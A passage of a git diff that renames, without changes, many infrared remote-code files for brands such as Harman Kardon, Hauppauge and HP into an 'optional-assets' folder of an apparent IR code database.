100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir similarity index 100% rename from 